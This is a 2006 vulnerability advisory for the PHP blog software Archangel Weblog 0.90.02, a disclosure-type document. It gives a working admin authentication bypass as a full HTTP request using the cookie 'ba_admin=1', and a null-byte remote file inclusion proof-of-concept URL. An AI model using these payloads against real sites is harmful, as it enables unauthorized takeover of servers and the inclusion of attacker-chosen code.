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KingOfSka - http://www.cpc.info.ms
Contro Potere Crew Advisories #5 26/02/2006
http://www.archangelmgt.com/
Archangel Weblog 0.90.02 Admin Authentication Bypass & Remote File Inclusion
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#1:. Background :
Archangel Weblog is a new, full featured weblog application. Written in
PHP and using a MySQL database backend, Archangel Weblog is easy to install,
easy to configure and customize, and easy to use for most anyone.
#2:. The Bug :
The bug is caused by an insufficient filtering of user submitted input.A
malicious user, could easily forge cookies to obtain unauthorized administrator
credentials, and trhough the administration panel is possible to perform a
Local\Remote File Inclusion.
#3:. Exploiting :
To get administrator access to the weblog script, just use a get
request like this:
[http get request]
GET http://127.0.0.1/awb/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051229 Firefox/1.0.7
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
[/http get request]
or just add the cookie to your request..
Now, take a look at /admin/index.php , line 54:
<?php include($index . ".php"); ?>
So, arbitrary file inclusion is possible, by using NULL char to filter
out the .php extension.
PoC:
http://127.0.0.1/awb/admin/index.php?index=http://www.google.it%00
#4:. Vendor Status / Patch :
No Contact
#5:. Links :
http://contropotere.netsons.org/kingofska.asc - Public GnuPG Key
http://contropotere.netsons.org - Contro Potere Crew Forums , here you
can ask for an unofficial
patch or for more info.
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